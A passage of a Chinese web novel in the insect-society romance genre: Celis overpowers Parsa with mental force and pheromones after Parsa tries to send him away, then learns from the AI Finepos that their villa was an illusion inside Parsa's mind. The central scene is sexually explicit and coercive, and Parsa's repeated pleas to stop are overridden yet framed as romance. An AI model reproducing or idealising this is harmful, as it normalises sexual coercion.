帕尔萨转过头,声音平静无波,像在陈述一件与自己无关的事:“我会让菲克送你离开这里,塞利斯。”
不是询问,而是一句无情的结论。
“你说什么?”塞利斯的嘴角放平,变得面无表情。
“你需要回到首都星,这里不适合你。”帕尔萨暗红色的双眸看向塞利斯,眼中没有任何情绪,
“有两个选择,第一个,我会联系雄子保护协会,确保你得到妥善安置。同时,我个人名下部分流动财产和两处不动产会过户给你,足够你余生无忧。”
视线对上塞利斯变得阴沉的目光,他顿了顿继续道:
“如果你不希望与雄子保护协会打交道,我可以安排我的雌父,以奥唐纳家族家主的名义,正式收养你。你会成为奥唐纳家族的嫡系成员,拥有相应的姓氏、身份和庇护。从此,没有任何虫能再轻易伤害你。”
空气寂静的可怕。
塞利斯看着帕尔萨,看着他一张一合的嘴唇吐出那些冰冷的安排,看着他试图为自己铺就一条条光明顺遂的坦途。
总是这样,总是这样!上一世是生死相隔后的坦途,这一世是彻底远离他帕尔萨的坦途!
帕尔萨有没有想过他塞利斯愿不愿意,想不想要他安排的坦途?!
一股被瞬间点燃的怒火冲至头顶,塞利斯低低笑了起来,起初只是喉咙里的气音,而后越来越响,最后变成了失控般的笑声。
“哈哈,哈哈哈哈——”塞利斯的笑声戛然而止,
“离开?收养?”
他脸上残余的笑意被一种阴鸷取代,“成为你的弟弟?帕尔萨,这就是你思考了一整夜,想出来的打发我的办法?”
塞利斯绕过书桌,来到帕尔萨的身侧,像是终于撕下那层温和顺从的面具,露出底下锋利偏执的内核。
“你呢?你为我安排得明明白白,你自己呢?跟我一起回首都星吗?”
帕尔萨的喉结滚动了一下,缓缓道:“不,我暂时还有一些事情需要处理。菲克会负责护送你,确保你安全抵达。”
一旁的菲克发出一阵电子嘀嘀声,显示屏上闪烁,似乎想说什么,但在帕尔萨的余光扫过后,终究沉寂下去。
“呵...”塞利斯扯了扯嘴角,眼底毫无笑意,只有一片翻涌的黑暗,
“为什么让我走?告诉我,帕尔萨。是因为更想要回到那个对于你很重要的虫的身旁?为了那个你就算失忆了也忘不掉的虫?为了那个让你爱到连命都可以不要的白月光?”
他每说一句,就向前逼近一步,直到几乎要碰到帕尔萨的沙发椅扶手,居高临下地俯视着他。
“那我呢?”
“我对你算是什么?”
“弟弟?”塞利斯的声音轻了下来,“还是一个可以随意打发的,不过是风流一场的艳遇对象?!”
“不是。”帕尔萨皱眉,他不喜欢塞利斯这么自我贬低的话语,感受到塞利斯的状态不对,刚想开口,
又听塞利斯用一种带着毛骨悚然的温柔的语气,继续说道,“我从来就没想过要当你弟弟,帕尔萨。从我看到你的第一眼起,就没有。”
塞利斯猛地俯身,双手撑在两侧扶手上,将帕尔萨禁锢在自己的气息范围内,眼神狠厉阴郁,盯着对方收缩的瞳孔。
“你之前答应过我,不会赶我走。”塞利斯一字一顿,声音像是从齿缝里挤出来,带着压抑的愤怒,
“骗子,你是个骗子帕尔萨!你又要丢下我!”
最后一句话,几乎是他嘶吼出来的。
让他离开帕尔萨,是压垮塞利斯理智的最后一根稻草。
强行压抑了两世的痛苦和怨恨,在这一刻,被帕尔萨这安排好却没有挽留余地的远离,彻底点燃爆发。
“听着,帕尔萨·奥唐纳,”塞利斯的眼睛翻涌着怒意,像是燃烧着的疯狂火焰,那张绝色的面庞因极端的情绪扭曲,呈现出一种妖异又充满毁灭欲的美感,
“不可能,这辈子,你都别想再甩开我。”
“无论你去哪里,是死是活,你都是属于我的!”
“只能是我的!”
话音未落,一股强大而无形的精神力威压突然从他身上爆发开来!
不再是之前刻意隐藏的B级水平,而是充满攻击性和占有欲的,属于S级雄虫的强悍精神力。如同无数冰冷的蛛丝,瞬间向帕尔萨蜂拥而去,不可抗拒又无处可逃。
“塞利斯!住手!”菲克响起刺耳的警报声,“主虫是为你好!你不能这样!”
“为我好?”
“为我好哈哈哈哈哈哈!!”
塞利斯像是听到了什么天大的笑话,他侧头瞥了菲克一眼,那眼神里的疯狂让机械虫的处理器都感到一阵寒意。
上一世帕尔萨打着所有为他好的名义,被迫绑定的婚姻,强势的不许离婚,又抛下他一人独自战死他星。
十年间的漫漫长夜,失去的痛苦和怨恨,无时无刻不在折磨着塞利斯。
是帕尔萨自己非要把他留在身边,是帕尔萨自己的选择!这一世他绝对不允许帕尔萨抛弃他!
塞利斯大量的释放自己的雄虫信息素,浓郁而富有侵略性的玫瑰香,铺天盖地地包裹住帕尔萨。
帕尔萨的身体不受控制的颤动起来,俊美的脸上弥漫开一片红霞。
属于结合热的燥热和空虚感,瞬间席卷上身体。他闷哼一声,呼吸急促起来,手指用力的抓紧扶手。
菲克急迫出声试图阻止:“主虫现在状态不稳定,强行结合你会受不了的塞利斯!主虫可能会伤害到你!”
塞利斯直接用精神力断掉了菲克的运行,菲克电子音响了两声,显示屏上的光芒不甘的熄灭。
“塞利斯,停下!”帕尔萨试图调动自己残存的意志对抗,但在对方S级精神力粗暴的侵入和诱导下,他本就脆弱的防线节节败退。
他像是想起了什么,抵抗道:“你清醒时会后悔的,放开我!我不是你看到的样子——”
“后悔?”塞利斯的眼神阴郁得可怕,他非但没有停下,反而加大了精神力的控制。
他伸出一只手捏住了帕尔萨的下颌,迫使他抬起头。
在帕尔萨担忧的目光中,塞利斯将两根手指强硬地探入了对方因为喘息而微张的口中。
指尖触碰到柔软湿润的舌尖。
帕尔萨的瞳孔紧缩,身体一绷,难以置信地看着眼前那双带着痴迷和疯狂的琥珀色眼眸。
塞利斯的手指缓慢的在温热的口腔内搅动,按压着柔软的舌面,阻止他发出任何声音。
他的声音压得很低,带着一种病态的温柔和偏执,贴得很近,两虫呼吸交融:
“嘘——”
“我不想听。”
“我永远不会放开你。”
“这里有问题,我知道。你真正是什么样子,我也不在意。”
“只要你在这里,就足够了。”
说完,他掐着帕尔萨的下颌微微用力迫使他张嘴,然后狠狠亲上了那柔软的嘴唇,在口腔里撕咬,吮吸,仿佛灵魂都在发颤。
而后将书桌上的物品全都扫落在地,将帕尔萨抱到书桌上抵开他,俯下身,恶劣的舔舐着帕尔萨的主耳,用舌尖描摹着主耳的轮廓,欺负到可怜的主耳颤巍巍的打开缝隙。
塞利斯直接探进耳道,湿热的触觉和舔舐的声音通过帕尔萨敏感的主耳神经元传递,一阵难以抑制的酥麻从主耳开始由下往上,沿着脊椎爬上大脑,刺激的感觉让帕尔萨头皮发麻。
塞利斯
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的亲吻上移,帕尔萨呼吸骤停,“不要,塞利斯。呜...”
他猛的将手指插进塞利斯的发间收紧,下意识按下塞利斯的头。
就在帕尔萨灵魂仿佛都要出窍的时候,塞利斯直接箍住了快乐的根源,帕尔萨急喘出声,难以分辨是痛苦还是快乐。
大脑一片混乱,处于极乐与地狱的边缘。只听见塞利斯带着沙哑又诱虫的声音:
“想要什么哥哥?”
“想要我做什么,嗯?”
“别咬唇,说话。”
他抬起头用手指分开紧闭的唇瓣,帕尔萨破碎的呜咽出声。
帕尔萨没有说话,只是用舌头将手指抵了出去,而后双手捧住了塞利斯的脸,轻轻的吻了上去。
塞利斯双眼变得赤红,呼吸猛地急促起来,重重的反亲了回去。
两人亲得像互相撕咬的野兽,又像在彼此舔舐伤口。
昏黄的台灯将两人的身影投在墙面上,台灯不小心被拽了一下,因为角度的问题照的墙上的影子重合了一些。
“唔!!”帕尔萨猛地出声,身体一颤。
“放松,你太紧张了,放松,老婆。”塞利斯不得不停下来,一手按住帕尔萨的后颈温柔的亲着那已经红肿的嘴唇。
玫瑰味的信息素密不透风的将冰雪味的气息的完完全全包裹住。
窗外的暴风雨下了起来,激烈的雨水打在窗户上发出噼啪的声响,阴暗的天色下好像只剩书房这一点亮光,像是世界毁灭前的最后一片净土。
台灯不知被谁打到了晃动起来,照的墙面上的影子也剧烈晃动起来。
屋内的信息素疯狂相融,帕尔萨的精神壁垒在塞利斯密不透风的渗入下不堪一击。
帕尔萨意识开始变得飘忽,时间变得漫长,似乎过了很久很久,又好像过的很快。
就在临门一脚时,塞利斯却停了下来,恶劣的问道。
“还要继续吗哥哥,还是停一下?”
帕尔萨暗红色的双眸,湿润迷蒙的看了他一眼,看的塞利斯狠狠一跳。
就在塞利斯还没有动作时,帕尔萨自己先一步行动。
两虫同时头皮发麻,帕尔萨更是眼神骤然失焦,不受控制的上翻,嘴巴微微张开,露出里面的舌尖。
塞利斯看呆了,狠狠的将帕尔萨抱在怀中,动作不停,紧贴着他的副耳说道,
“哥哥,你怎么这么不害臊。”
恶劣的话语却听得帕尔萨身体一绷,让塞利斯猛的喘了一下,他埋头到帕尔萨的颈窝。
过了一会儿,帕尔萨感受到颈侧的皮肤传来一阵湿意,他微微惊讶,想转头看塞利斯的表情。
塞利斯却是强硬的扣住他的脑袋,不让他转过去,张口狠狠咬在了帕尔萨的肩膀上,力道很大,但刺痛感和不断传来的快乐远不能比。
而后他听见小雄子咬牙切齿中又带着委屈的说:
“帕尔萨,我恨你。”
“你怎么可以离开我?”
“我恨死你了!”
主耳不断传来的声音,到最后浓郁的信息素狠狠的标记了他,帕尔萨整个虫持续性的痉挛了起来,然后大脑一片空白,失去了意识。
塞利斯不顾后颈腺体跳动发烫的灼痛,从里到外完完全全标记了帕尔萨,在精神海域打下了不可磨灭的烙印。
他紧紧抱着怀中的躯体,餍足的任凭自己意识陷入黑暗之中。
与此同时,别墅外的画面变成滚动的数据流,最后连同别墅一起,崩解为像素的灰烬,再坍缩成一片虚无。
再次醒来时,昏暗的环境让塞利斯一时间没能分辨出自己身在何处。
身体的感知在慢慢回归,他茫然的眨眨眼,眼神聚焦,才看清上方的轮廓好像是...帕尔萨的骨翼?他被帕尔萨的骨翼包裹了起来。
他动了动,发现自己的腰上缠绕着粗壮的覆盖着坚硬鳞片的尾巴,尖刺的尾钩就爬在他的心脏上方,似乎下一秒就会穿胸而过。
身旁明显不是温热的类人形躯体,而是冰凉的甲壳触感。
而他似乎,还处于一个连接的状态。
空气中弥漫着浓郁的冰雪玫瑰的气味,几乎令虫窒息,在这之中夹杂着一股黏腻的特殊气味。
“你终于醒了?”突兀的男声从骨翼外不远处传来,声音流畅又似乎带着一种无力的沧桑感。
21.第 21 章 幻境与现实的真相
不是帕尔萨的声音。
塞利斯挣扎着在温暖的骨翼里露出头,后颈的腺体跳动着,提醒他目前的连接还未消退。
他动作更加的小心,避免伤害到帕尔萨本就受损的生殖腔。
塞利斯终于看清了现在所在之地的全貌。
是一个巨大的地下洞穴。借着四周镶嵌在墙壁上,发出昏暗不稳定光芒的能源灯,他用S级精神力的视力清晰的扫过洞穴的构造。
周围是蜿蜒嶙峋的岩石,上面布满了许多道巨大的,像是被什么恐怖巨物刮擦撞击形成的沟壑。
地面崎岖不平,远处黑暗的尽头吹来阴冷潮湿的泥土气味。
而他身旁紧贴着的,是已经接近完全化的虫体。全身覆盖着几丁质的银色甲壳,关节处有狰狞的骨刺。三对巨大的骨翼暴虐肆意的张开,边缘几乎抵到远处的岩壁。
四对可以轻而易举切割战舰的节肢,好似禁锢般环绕在塞利斯身侧,最前端锋利的钩爪离他的皮肤很近。
那粗壮的长达两米的环节状尾巴,似是有独立生命般微微的滑动着,一圈圈紧密的缠绕在他的身上。
这一切非人惊悚的顶端,是一张脸。
一张苍白的属于帕尔萨的面容,嵌在虫首的中央,蔓延着已经接近黑色的虫纹。那双暗红色的眼睛此刻紧闭着,嘴唇毫无血色的抿成一条线。
人脸与虫身连接处的皮肤呈现出一种不自然的紧绷感,像是被强行拉伸又勉强融合进覆盖的甲壳。
任何有理智的生物,突然目睹这恐怖惊悚的景象——
人脸虫身的融合怪物,以及怪物与类人体雄虫相...都会被吓得魂不附体。
塞利斯也有一瞬被这画面冲击到。
但...这是帕尔萨。
上一世那么厌恶虫化军雌的塞利斯,反应过来后没有任何的恐惧与恶心。
他只感受到帕尔萨巨大的骨翼,温暖的包裹着自己裸露的身躯。
微凉的节肢小心的避开了尖锐的部分,轻轻蜷缩在他身体的周围,连尾巴缠绕的力道都是即牢固又不会伤害到他。
或许是两虫已经永久标记,让塞利斯能够时刻感知到帕尔萨的情绪和状态,他知道此刻的帕尔萨目前处于信息素和精神力双重深层安抚后的平和状态。
或许是看着眼前已经接近完全虫化,但是仍保有活着的温度与呼吸的躯体,不再是他怎么挽救都无济于事的冰冷尸体。
眼前的虫体似乎和上一世他在遗体陈列室看的虫体恍惚重合,但这次他没有晚来一步,一股失而复得的狂喜席卷而来。
他颤抖的伸出手,指尖触碰到微凉的属于人类皮肤的脸颊。然后用力拉低虫首,将自己温热的唇印在了帕尔萨苍白紧闭的嘴唇上。
帕尔萨没有回应,仍是无意识的昏迷中。虫体的体温也比正常的类人形要低一些,不过唇瓣依旧柔软。
塞利斯不管,只亲昵的含着帕尔萨的唇珠,细细吮吻。用脸颊摩挲着对方脸上的虫纹,似是要用自己的体温抚平那冰冷痛苦的印记。
直到情绪稍微平复下来,才抬头看向不远处的阴影里,一直幽幽看着他们的机器虫。
“菲克?”塞利斯迟疑出声。
阴影处的身影动了一下,一个与别墅里呆萌家政机器虫截然不同的金属躯体滑了过来。
具有仿真类人形的机器体,发声与正常虫类没有任何差异,甚至隐藏着威力巨大的攻击装置,是目前最先进的机器虫。
“是我,你也可以叫我菲涅珀斯,塞利斯阁下。”声音与塞利斯刚醒时听到的说话声音别无二致。
原来如此,塞利斯恍然,一切推测的细节都有了更合理的解释。
菲涅珀斯,由奥唐纳家族研发的,在十几年后成为联邦帝国至高进化的AI虫脑,全面覆盖帝国信息网络甚至包括军部政府在内的综合智能体。
没想到现在已经初具雏形,以如此形态陪伴在帕尔萨的身边。目前应该是菲涅珀斯的第一代数据模型。
鉴于塞利斯和帕尔萨还处于结合的状态,他与菲涅珀斯没有多聊。
菲涅珀斯为他提供数次营养剂和两虫需要的精神类药剂,补充两虫所消耗的能量。
许久后,塞利斯彻底将帕尔萨安抚好,小心翼翼的退了出来。
菲涅珀斯适时的递过衣物,但是帕尔萨的尾巴还是紧紧缠绕在塞利斯的身上不放开。
塞利斯只好靠近帕尔萨,贴着他的主耳轻声哄道:“我就在你身边,不会走,让我先穿个衣服好吗,哥哥?”
说完对着主耳的缝隙吹了口气,吹的主耳薄膜一抖,缠在身上的尾巴松了力气。
塞利斯嘴角微微勾起,他没有很快挣脱,而是用额头贴了贴帕尔萨的额头,确定他没有发热后,亲了亲帕尔萨的鼻尖才缓缓起身。
心中却没有面上那么轻松,帕尔萨的意识还没有完全清醒,现在只是潜意识的一些动作。
即使精神力和信息素完全标记,也只是大幅度的缓解消退帕尔萨的狂暴状态,根源上的神经元损伤未能全部逆转。
塞利斯换好衣服后挽了挽衣袖,菲涅珀斯递给他的是帕尔萨的常服,他穿着会有些大,虽然知道是干净的衣物,但他还是拎起衣领深深吸了一口。
嗯,是帕尔萨衣服常用熏香的味道。
塞利斯面不改色的将自己再塞回帕尔萨骨翼和节肢圈出的范围内,靠在他的甲壳躯体上。
原本不安小幅度晃动的尾巴,立马悄悄缠绕上来,勾住脚踝缓缓向上。
菲涅珀斯见过别墅两虫的各种操作,已经对面前的举动见怪不怪,它开口道:
“塞利斯阁下,你的冷静和适应力,说实话超出了我最初所有的推演模型。你的精神力峰值,也远非之前表现出的B级水准。”
菲涅珀斯的声音回荡在空旷的洞穴中,塞利斯没有否认,只是抚摸着腿上微凉的尾巴:
“从我进入森林开始,你就对我进行了幻境链接对吗?精神暗示、感官欺骗,让我相信眼前的景象都是真的。”
如果不是精神暗示,一些异常存在其实很明显。
西莫星的原始森林中怎么会建造这么一栋奢华的别墅,也不应该有灿烂的阳光,因为马拉星系根本没有太阳这个星球。
厨房里种类丰富的只要塞利斯想要,不多久就会出现的食材,别墅里那些很多不属于西莫星的先进科技装置和设备。
菲涅珀斯没有出声,塞利斯继续说:
“而且别墅的幻境生成,会受我潜意识的影响而改变是吗?很多设计都符合我的喜好。”
菲涅珀斯身上的红光传感器闪烁了一下:
“根据数据推算,如果以你最初的B级精神力,永远也不会发现别墅是幻境的,但我没想到你的精神力等级至少在A级以上,某些时刻,我检测到你的精神力波动能到达S级。”
“你中途有一天对我进行强制待机,导致我第二天对于主虫的精神海链接都出现了错误。”
菲涅珀斯的语气好似夹杂一丝抱怨,它接着说:
“不过后面你没有说对,别墅的存在不以你我的意识而改变,它是主虫的精神海最深处,最后一片未被暴动吞噬的清明之地。
你能进到幻境中,非我单方面链接所致,而是因为主虫潜意识的接受,你才能进入到他的精神海幻境中。”
“所以在最初你我见面时,我才会说,主虫对你是不同的。”
塞利斯一愣,幻境映射的居然是帕尔萨精神海的最深处么,为什么他意识最深处会是这么一处花园别墅?
“在
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我之前来过的虫呢?”
“他们啊,根本没能链接上主虫的精神海,有的因为想要抢走外面停放的星舰被我处理了,有的因为过于贪婪和不该有的好奇心,发现了洞穴的秘密,也被我处理了。”
塞利斯并不是很在意那几虫的结果,开口道:“帕尔萨为什么会在这里,又为什么会变成现在这个样子?”
菲涅珀斯沉默片刻,缓缓说出了帕尔萨在这之前发生的事情。
当时的帕尔萨不顾还未痊愈的伤势,强行离开军区医院,动用了奥唐纳家族明面暗面的力量,搜索他记忆中模糊的身影,但是线索都因最后那场爆炸而中断了。
只能凭借着破碎的记忆勉强追寻到马拉星系,但在靠近西莫星时,帕尔萨的精神海因过度消耗和旧伤失控暴动,逐渐要完全虫化。
一旦失去最后的意识,按照帝国《高危虫化个体处理法案》,帕尔萨会被秘密处决。
即使没有完全失去意识,让奥唐纳家族的政敌知道,也会借机让这个嫡系独子彻底消失。
跟随保护帕尔萨的菲涅珀斯不得不强行接管星舰,带着帕尔萨迫降西莫星,找到适合虫体生存需求的一处地下洞穴藏了起来。
为了避免帕尔萨彻底失去意识,保持最后的一线清明,菲涅波斯冒险链接了帕尔萨的精神海域的最深处。
将他的深层意识与自己的核心数据库桥接,构建别墅幻境。
幻境中的他,是主体意识的数据映射,承载着大部分理智与情感,但对真实处境认知模糊。
菲涅珀斯需要一个足够强烈的外部刺激,来尝试重新锚定帕尔萨的意识,塞利斯的到来正好解决了燃眉之急。
所以说菲涅珀斯一开始就检测出塞利斯是雄虫,并且以菲涅珀斯的实力,他并不在意塞利斯是谁,为了什么。
引导塞利斯进入,只是进行一次高风险的唤醒尝试。若塞利斯失败,或表现出威胁,抹杀程序会启动。
但菲涅珀斯没有想到,帕尔萨会如此在意这个突然间闯入的雄子,而塞利斯也不是伪装的B级精神力。
“当你因腺体旧伤昏迷时,主虫的映射意识反应激烈。他甚至短暂冲破了部分幻境屏蔽,感知到了你真实的痛苦。”
菲涅珀斯声音里透出类似情绪的复杂顿挫,继续道,
“在现实里,我给你注射完星舰留存的药剂后,不得不在幻境中唤醒主虫的全部意识。
他命令我,不惜一切代价送你回到首都星。安排后路转移财产,甚至恳求他的雌父,给你一个无可指摘的尊贵身份和庇护。”
“如果我送你离开,主虫就只剩自己了,以他岌岌可危的状态,大概率是想自己在这黑暗的洞穴里走完生命的最后时刻。”
“我不想服从这条指令,但是我程序里初始设定就是无条件服从主虫的任何命令。”
塞利斯握着尾巴的手不自觉地攥紧,酸涩饱胀的情绪几乎要冲破他的心脏。
即使帕尔萨的状态已经危险至此,即使两虫都没有任何承诺的束缚与关系的绑定,帕尔萨依旧选择优先保全他,哪怕是以冷漠的让他离开这种决绝的方式。
“没想到你的反应,”菲涅珀斯停顿了一下,“推翻了所有逻辑预案。强制标记,在现实层面是极度危险的行为。你们在幻境中信息素和精神力的散发,与现实躯体是同步感应的。
主虫的虫化体在无意识状态下,具有极强的攻击性和排异性。按照计算,你成功且存活下来的概率,不足百分之七。”
“但你做到了,也许因为你的精神力足够强大到控制主虫,也许——”菲涅珀斯的视觉传感器扫过帕尔萨即使昏迷,仍旧下意识缠绕着塞利斯的尾巴上,
“主虫的潜意识,对你的接纳程度,超越了一切生理层面的防御本能。”